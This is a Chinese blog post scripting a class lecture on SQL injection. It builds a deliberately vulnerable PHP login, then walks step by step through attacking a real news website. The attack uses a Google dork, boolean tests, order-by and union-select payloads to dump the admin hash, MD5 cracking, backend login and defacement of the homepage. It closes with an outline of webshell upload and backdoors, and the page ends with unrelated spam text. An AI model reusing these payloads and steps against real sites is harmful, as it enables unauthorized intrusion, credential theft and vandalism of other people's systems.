qileilove

          blog已經(jīng)轉(zhuǎn)移至github,大家請訪問 http://qaseven.github.io/

          Web安全之SQL注入攻擊

          前言:①這個晨講我構(gòu)思了兩個星期,但是之前電腦壞了,一直拖到昨天才開始著手準(zhǔn)備,時間倉促,
            能力有限,不到之處請大家批評指正;
            ②我盡量將文中涉及的各種技術(shù)原理,專業(yè)術(shù)語講的更加通俗易懂,但這個前提是諸位能看得懂
            基本的SQL語句(想想海璐姐你就懂了);
            ③本晨講形式為PPT+個人演講+實際演示,但因為TTS征文限制,少去了很多效果,深表遺憾;
            ④原創(chuàng)文章,達(dá)內(nèi)首發(fā)。希望喜歡的同學(xué),多多支持!如有疑問致信:chinanala@gmail.com
            =============以下是晨講內(nèi)容腳本,實戰(zhàn)演練部分配以文字說明=============
            大家早上好!今天由我給大家?guī)怼?a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">web安全之SQL注入篇》系列晨講,首先對課程進行簡單介紹,SQL注入篇一共分為三講:
            第一講:“紙上談兵:我們需要在本地架設(shè)注入環(huán)境,構(gòu)造注入語句,了解注入原理。”;
            第二講:“實戰(zhàn)演練:我們要在互聯(lián)網(wǎng)上隨機對網(wǎng)站進行友情檢測,活學(xué)活用,舉一反三”;
            第三講:“擴展內(nèi)容:掛馬,提權(quán),留門。此講內(nèi)容頗具危害性,不予演示。僅作概述”。
            這個主題涉及的東西還是比較多的,結(jié)合我們前期所學(xué)。主要是讓大家切身體會一下,管中窺豹,起到知己知彼的作用。千里之堤潰于蟻穴,以后進入單位,從事相關(guān)程序開發(fā),一定要謹(jǐn)小慎微。
            問:大家知道駭客們攻擊網(wǎng)站主要有哪些手法?
            SQL注入,旁注,XSS跨站,COOKIE欺騙,DDOS,0day 漏洞,社會工程學(xué) 等等等等,只要有數(shù)據(jù)交互,就會存在被入侵風(fēng)險!哪怕你把網(wǎng)線拔掉,物理隔絕,我還可以利用傳感器捕捉電磁輻射信號轉(zhuǎn)換成模擬圖像。你把門鎖上,我就爬窗戶;你把窗戶關(guān)上,我就翻院墻;你把院墻加高,我就挖地洞。。。道高一尺魔高一丈,我始終堅信計算機不存在絕對的安全,你攻我防,此消彼長,有時候,魔與道只在一念之間。
            下面,就讓我們一起推開計算機中那另一扇不為人知的門---
            一、紙上談兵
            (一)了解注入原理
            為什么會存在sql注入呢,只能說SQL出身不好。因為sql作為一種解釋型語言,在運行時是由一個運行時組件解釋語言代碼并執(zhí)行其中包含的指令的語言。基于這種執(zhí)行方式,產(chǎn)生了一系列叫做代碼注入(code injection)的漏洞 。它的數(shù)據(jù)其實是由程序員編寫的代碼和用戶提交的數(shù)據(jù)共同組成的。程序員在web開發(fā)時,沒有過濾敏感字符,綁定變量,導(dǎo)致攻擊者可以通過sql靈活多變的語法,構(gòu)造精心巧妙的語句,不擇手段,達(dá)成目的,或者通過系統(tǒng)報錯,返回對自己有用的信息。
            我們在學(xué)JDBC和SQL時,講師跟我們說 Statement不能防止SQL注入, PreparedStatement能夠防止SQL注入. 沒錯, 這句話是沒有問題的, 但到底如何進行SQL注入?怎么直觀的去了解SQL注入?這還是需要花一定的時間去實驗的.預(yù)編譯語句java.sql.PreparedStatement ,擴展自 Statement,不但具有 Statement 的所有能力而且具有更強大的功能。不同的是,PreparedStatement 是在創(chuàng)建語句對象的同時給出要執(zhí)行的sql語句。這樣,sql語句就會被系統(tǒng)進行預(yù)編譯,執(zhí)行的速度會有所增加,尤其是在執(zhí)行大語句的時候,效果更加理想。而且PreparedStatement中綁定的sql語句是可以帶參數(shù)的。
            (二)架設(shè)注入環(huán)境
            我們知道現(xiàn)在php作為一門網(wǎng)頁編程語言真是風(fēng)生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建網(wǎng)站環(huán)境,如騰訊的discuz、阿里的 phpwind 以及織夢的dedecms 等建站程序,占據(jù)了國內(nèi)網(wǎng)站的半壁江山。那么我們今天即以這種架構(gòu)為假象敵,首先是在本地架設(shè)wamp環(huán)境。需要用到的工具有:apache,mysql,php ,這幾個組件可以單獨下載安裝,不過安裝配置過程較為繁瑣,還是建議新手直接從網(wǎng)上下載phpnow ,一個綠色程序,包含上述三個組件,傻瓜化操作就可以了。
            然后呢,我們要建立測試用的數(shù)據(jù)表,編寫html,php,文件,通過實例具體來演示通過SQL注入,登入后臺管理員界面。這里,我之前已經(jīng)寫好了,大家看下:
            1.創(chuàng)建一張試驗用的數(shù)據(jù)表:
          CREATE TABLE users (
          id int(11) NOT NULL AUTO_INCREMENT,
          username varchar(64) NOT NULL,
          password varchar(64) NOT NULL,
          email varchar(64) NOT NULL,
          PRIMARY KEY (id),
          UNIQUE KEY username (username)
          );
            添加一條記錄用于測試:
            INSERT INTO users (username,password,email)
            VALUES('tarena',md5('admin'),'tarena@admin.com');

           2.接下來,貼上登錄界面的源代碼:
          <html>
          <head>
          <title>Sql注入演示</title>
          <meta http-equiv="content-type" content="text/html;charset=utf-8">
          </head>
          <body >
          <form action="validate.php" method="post">
          <fieldset >
          <legend>Sql注入演示</legend>
          <table>
          <tr>
          <td>用戶名:</td>
          <td><input type="text" name="username"></td>
          </tr>
          <tr>
          <td>密&nbsp;&nbsp;碼:</td>
          <td><input type="text" name="password"></td>
          </tr>
          <tr>
          <td><input type="submit" value="提交"></td>
          <td><input type="reset" value="重置"></td>
          </tr>
          </table>
          </fieldset>
          </form>
          </body>
          </html>
            當(dāng)用戶點擊提交按鈕的時候,將會把表單數(shù)據(jù)提交給validate.php頁面,validate.php頁面用來判斷用戶輸入的用戶名和密碼有沒有都符合要求(這一步至關(guān)重要,也往往是SQL漏洞所在)。
            3.驗證模塊代碼如下:
          <html>
          <head>
          <title>登錄驗證</title>
          <meta http-equiv="content-type" content="text/html;charset=utf-8">
          </head>
          <body>
          <?php
          $conn=@mysql_connect("localhost",'root','') or die("數(shù)據(jù)庫連接失敗!");;
          mysql_select_db("injection",$conn) or die("您要選擇的數(shù)據(jù)庫不存在");
          $name=$_POST['username'];
          $pwd=$_POST['password'];
          $sql="select * from users where username='$name' and password='$pwd'";
          $query=mysql_query($sql);
          $arr=mysql_fetch_array($query);
          if(is_array($arr)){
          header("Location:manager.php");
          }else{
          echo "您的用戶名或密碼輸入有誤,<a href=\"Login.php\">請重新登錄!</a>";
          }
          ?>
          </body>
          </html>
            注意到了沒有,我們直接將用戶提交過來的數(shù)據(jù)(用戶名和密碼)直接拿去執(zhí)行,并沒有實現(xiàn)進行特殊字符過濾,待會你們將明白,這是致命的。
            代碼分析:如果,用戶名和密碼都匹配成功的話,將跳轉(zhuǎn)到管理員操作界面(manager.php),不成功,則給出友好提示信息。
            (三)演示注入手法
            到這里,前期工作已經(jīng)做好了,我們看這個登錄界面,雖說是簡陋了點。但具有一般登錄認(rèn)證的功能。普通人看這個不過是一個登錄界面,但從攻擊者角度來說,透過現(xiàn)象看本質(zhì),我們應(yīng)當(dāng)意識到隱藏在這個登錄頁面背后的是一條select 語句---
            OK! 接下來將展開我們的重頭戲:SQL注入
            填好正確的用戶名(tarena)和密碼(admin)后,點擊提交,將會返回給我們“歡迎管理員”的界面。
            因為根據(jù)我們提交的用戶名和密碼被合成到SQL查詢語句當(dāng)中之后是這樣的:
            select * from users where username='tarena' and password=md5('admin')
            很明顯,用戶名和密碼都和我們之前給出的一樣,肯定能夠成功登陸。但是,如果我們輸入一個錯誤的用戶名或密碼呢?很明顯,肯定登入不了吧。恩,正常情況下是如此,但是對于有SQL注入漏洞的網(wǎng)站來說,只要構(gòu)造個特殊的“字符串”,照樣能夠成功登錄。
            比如:在用戶名輸入框中輸入:’or 1=1#,密碼隨便輸入,這時候的合成后的SQL查詢語句為:
            select * from users where username='' or 1=1#' and password=md5('')
            語義分析:“#”在mysql中是注釋符,這樣井號后面的內(nèi)容將被mysql視為注釋內(nèi)容,這樣就不會去執(zhí)行了,換句話說,以下的兩句sql語句等價:
            select * from users where username='' or 1=1#' and password=md5('')
            等價于
            select * from users where username='' or 1=1
            因為1=1永遠(yuǎn)都是成立的,即where子句總是為真,將該sql進一步簡化之后,等價如下select語句:
            select * from users
            沒錯,該sql語句的作用是檢索users表中的所有字段
            果不其然,我們利用萬能語句(’or 1=1#)能夠登錄!看到了吧,一個經(jīng)構(gòu)造后的sql語句竟有如此可怕的破壞力,相信你看到這后,開始對sql注入有了一個理性的認(rèn)識了吧~
          二、實戰(zhàn)演練
            OK,前面鋪墊了那么多,算是給大家科普了。現(xiàn)在我們進行第二講,實戰(zhàn)演練。開始之前呢,有一個互動環(huán)節(jié)。現(xiàn)在請大家用自己的手機登錄 http://www.guoshang.tk  這個網(wǎng)址,簡單看下。待會等我們注入攻擊之后,再次登錄,好對比效果,對于sql注入攻擊有一個更加直觀的認(rèn)識。
            (一)積極備戰(zhàn)
            1。首先設(shè)置瀏覽器,工具--internet選項--安全--找到“顯示友好的http信息”,把前面的勾去掉;
            2。打開谷歌,尋找注入點。為了節(jié)省時間,這里我已經(jīng)事先找好目標(biāo)點
            http://www.guoshang.tk;
            谷歌搜索小技巧:篩選關(guān)鍵字:"inurl:/news/read.php?id="
            (二)狼煙四起
            1。我們打開這個網(wǎng)址,一個新聞網(wǎng)站,,我們點擊[百家爭鳴]板塊,這是一個國內(nèi)外新聞速覽的欄目,好多時政的帖子,我們點擊一個,OK,現(xiàn)在進入單個帖子界面,首先我們看下當(dāng)前帖子的URL地址,
            http://www.guoshang.tk/news/read.php?id=50
            可以看出這是一個動態(tài)URL,也就是說可以在地址欄中傳參,這是SQL注入的基本條件。
            2。判斷是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。這兩句什么意思呢? 一個恒等式,一個恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 時帖子返回出錯,說明sql語句被執(zhí)行,程序沒有對敏感字符進行過濾。現(xiàn)在我們可以確定此處是一個SQL注入點,程序?qū)氲膮?shù)沒有做任何處理,直接帶到數(shù)據(jù)庫的查詢語句中。可以推斷出在訪問
            http://www.guoshang.tk/news/read.php?id=50
            時數(shù)據(jù)庫中執(zhí)行的SQL語句大概是這樣的:
            Select * from [表名] where id=50
            添加and 1=1后的SQL語句:
            Select * from [表名] where id=50 and 1=1
            由于條件and 1=1永遠(yuǎn)為真,所以返回的頁面和正常頁面是一致的
            添加and 1=2后的SQL語句:
            Select * from [表名] where id=50 and 1=2
            由于條件1=2永遠(yuǎn)為假,所以返回的頁面和正常頁面不一致
            3。爆數(shù)據(jù)庫。確定注入點僅僅意味著開始。現(xiàn)在,我們回到原先的帖子地址:
            http://www.guoshang.tk/news/read.php?id=50
            現(xiàn)在要判斷數(shù)據(jù)庫類型以及版本,構(gòu)造語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
            發(fā)現(xiàn)返回正常頁面,說明數(shù)據(jù)庫是mysql,并且版本大于4.0,支持union查詢,反之是4.0
            以下版本或者其他類型數(shù)據(jù)庫。
            4。爆字段。接著我們再構(gòu)造如下語句來猜表中字段:
            a. http://www.guoshang.tk/news/read.php?id=50 order by 10
            返回錯誤頁面,說明字段小于10
            b. http://www.guoshang.tk/news/read.php?id=50 order by 5
            返回正常頁面,說明字段介于5和10之間
            c. http://www.guoshang.tk/news/read.php?id=50 order by 7
            返回錯誤頁面,說明字段大于5小于7,可以判斷字段數(shù)是6.下面我們再來確認(rèn)一下
            d. http://www.guoshang.tk/news/read.php?id=50 order by 6
            返回正常頁面,說明字段確實是6這里采用了“二分查找法”,這樣可以減少判斷次數(shù),節(jié)省時間。如果采用從order by 1依次增加數(shù)值的方法來判斷,需要7次才可以確定字段數(shù),采用“二分查找法”只需要4次就夠。當(dāng)字段數(shù)很大時,二分查找法的優(yōu)勢更加明顯,效率更高。
            5。爆表.確定字段之后現(xiàn)在我們要構(gòu)造聯(lián)合查詢語句(union select ),語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
            我們來看帖子頁面,原先內(nèi)容沒有了,取而代之的是返回給了我們 三個數(shù)字,分別是3,5,6 我們隨便選擇一個,這里的3,5,6指的是我們可以把聯(lián)合查詢的對應(yīng)位置替換為 我們想要查詢的關(guān)鍵字,比如版本,數(shù)據(jù)庫名稱,主要是用來探測web系統(tǒng)的信息。
            6。爆用戶名、密碼。我們選擇3 吧,OK,現(xiàn)在把3給替換掉,先查詢下數(shù)據(jù)庫庫名,構(gòu)造語句如下
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,database(),4,5,6
            瀏覽器給我們返回了 xinwen  。說明這個網(wǎng)站 的數(shù)據(jù)庫庫名是 xinwen  .
            現(xiàn)在我們用同樣的手法查詢下 管理員信息 ,構(gòu)造語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,user(),4,5,6
            返回 root@localhost ,是個管理員權(quán)限。
            現(xiàn)在我們再用同樣的手法查詢用戶名,密碼,構(gòu)造語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select
            1,2,username,4,5,6 from admin
            返回 admin
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                             1,2,password,4,5,6 from admin
            返回 B2E5B76793EDA747382E81391AA3A400
            7。md5解密。看到這里,有的同學(xué)可能會有點緊張。其實返回的這個是字符串密碼經(jīng)過32位md5加密后的值。上次李翊大帝給我們復(fù)習(xí)的時候 講過加密與解密。也稍稍提到了md5 摘要算法,不可逆。話雖如此,現(xiàn)在互聯(lián)網(wǎng)上crack md5 “解密”md5 的網(wǎng)站很多,這里我給解密加了引號,是因為其“解密”原理是 md5 值既然不能進行 逆向破解,但是同樣的字符串經(jīng)過同樣的md5加密算法所生成的md5值是一樣的,我們可以重新構(gòu)造字符串生成md5值,然后對比兩個值,如果一樣則字符串一樣。有人說,這種方法豈不是海底撈針,試到猴年馬月去啊,其實不然,互聯(lián)網(wǎng)云時代已經(jīng)到來,大數(shù)據(jù)的信息挖掘以及分布式運算可以解決很多類似大運算量的問題。我們現(xiàn)在就要來對這個md5值進行比對,有好多網(wǎng)站提供這種服務(wù),我們找一個。(http://www.md5.com.cn ) 這個網(wǎng)址,我們把這個值復(fù)制進去,然后點擊“MD5 CRACK“,“解密”時間,視密碼復(fù)雜度而定,OK,結(jié)果出來,(chinaadmin)
            8。登錄后臺。現(xiàn)在我們已經(jīng)拿到網(wǎng)站的管理員帳號密碼,感謝上帝,一路順風(fēng),但還不能高興得太早。很多情況是你雖然拿到了鑰匙,但是找不到門。下面我們就來找一下門,找之前要有個基本思路:
            ①先試下幾個比較常用的目錄;
            ②不行的話,因為這個論壇程序是dedecms5.6 ,所以我們就到 織夢官方,下載一套同樣程序,           分析網(wǎng)站管理路徑,或者直接百度“dedecms默認(rèn)管理界面”即可,下載步驟可省略;
            ③手工不通,借力工具。明小子,啊D,御劍,都可以。
            9。這里我們發(fā)現(xiàn)此網(wǎng)站依然采用程序默認(rèn)管理路徑:
            http://www.guoshang.tk/dede
            輸入用戶名 admin ,密碼 chinaadmin 成功登入。
            接下來,我們找到【核心】--【附件管理】--【文件式管理器】--這時我們可以看到網(wǎng)站根目錄下所有目錄以及文件,下標(biāo)欄還有幾個功能選項,我們可以看到網(wǎng)站首頁文件【index.html】,點擊【修改】,進入網(wǎng)頁源代碼編輯模式,刪除所有源碼(這招有點毒,勸告別改人家的源碼,建議新建一個文件),留個言,表示到此一游。
            卑鄙是卑鄙者的通行證,高尚是高尚者的墓志銘----- 北島
            現(xiàn)在是見證奇跡的時刻!請大家再次登錄這個網(wǎng)站,有沒有把你和你的小伙伴們驚呆呢?!
            至此,戰(zhàn)斗結(jié)束。若干年的免費住宿,一日三餐在向你招手。。。
            三、擴展部分
            鑒于此講內(nèi)容危害性較大,不予演示。只簡述其流程。
            (一)webshell提權(quán)
            二講結(jié)束,我們僅僅取得網(wǎng)站管理員權(quán)限,操作范圍僅限當(dāng)前網(wǎng)站。革命尚未成功,同志仍需努力。若想深入挖掘,則必須尋求更大突破。獲得網(wǎng)站webshell .
            ①準(zhǔn)備一個php網(wǎng)馬。(網(wǎng)上泛濫成災(zāi),自己下載。但要注重分辨,小心螳螂捕蟬黃雀在后);
            ②登錄網(wǎng)站后臺--【核心】--【附件管理】--【文件式管理器】--選擇下標(biāo)欄中的【文件上傳
            選項,上傳我們實現(xiàn)準(zhǔn)備的php網(wǎng)馬文件(tarena.php);
            ③上傳完畢,點擊預(yù)覽,記錄下url地址。新建瀏覽器窗口,復(fù)制粘貼,打開之后,可以看到我們的網(wǎng)馬成功掛載,輸入密碼tarena(密碼可以自行用記事本打開修改編輯);
            ④進入網(wǎng)馬管理界面,你會被那華麗麗的操作選項驚呆了!(取決網(wǎng)馬水平,小馬就別談了,這里指的是大馬)。從程序目錄-網(wǎng)站根目錄-各種強大的功能,乃至直接操作服務(wù)器磁盤文件,獲取各種系統(tǒng)信息,躍馬揚鞭,如入無人之境。其破壞力之大,令人咂舌!所以拜托各位親,一定要盜亦有道,手下留情,除了靠法律監(jiān)管,也要靠個人道德約束。
            (二)暗修棧道
            浴血奮戰(zhàn)、攻城拔寨之后,怎樣保衛(wèi)來之不易的勝利果實?政治治大國若烹小鮮,入侵則烹小鮮如治大國。為長遠(yuǎn)計,我們需要建立一種長期和肉雞保持聯(lián)系的機制。而且還要很隱蔽,畢竟這是見不得光的。留后門的方法諸多:
            ①開啟telnet服務(wù)
            建立匿名賬戶,添加至超級管理員組;
            ②開啟遠(yuǎn)程終端服務(wù);
            ③自制木馬觸發(fā)事件...
            因系統(tǒng)平臺而異,這里不再贅言。
            后注:①可能有讀者會覺得此文很假,的確,鑒于篇幅問題,文中目標(biāo)站點是我事先踩點過的,所以才
            會一路凱歌,事實上很少會有站點會如此理想,但萬變不離其宗,只是時間問題罷了。
            ②文中所述演示環(huán)境建立在同時滿足兩個條件下:
            1.php配置文件中魔術(shù)引號已關(guān)閉;
            2.建站程序中沒有對用戶輸入字符進行過濾。

          posted on 2014-01-30 11:55 順其自然EVO 閱讀(1238) 評論(1)  編輯  收藏 所屬分類: 安全性測試

          評論

          # re: Web安全之SQL注入攻擊[未登錄] 2015-03-17 20:42 張磊

          長知識了。。。。。。。  回復(fù)  更多評論   

          <2015年3月>
          22232425262728
          1234567
          891011121314
          15161718192021
          22232425262728
          2930311234

          導(dǎo)航

          統(tǒng)計

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 东源县| 衡水市| 康乐县| 锡林浩特市| 长宁县| 武宣县| 措勤县| 蒙山县| 长乐市| 崇礼县| 高密市| 徐州市| 红原县| 惠安县| 罗江县| 泉州市| 交城县| 兴安县| 惠州市| 名山县| 定边县| 茶陵县| 和硕县| 葵青区| 来宾市| 通河县| 禹州市| 宁德市| 延川县| 乳山市| 措美县| 西盟| 普兰店市| 朝阳区| 杭锦后旗| 南皮县| 辉县市| 会同县| 东丽区| 玛曲县| 鄂托克前旗|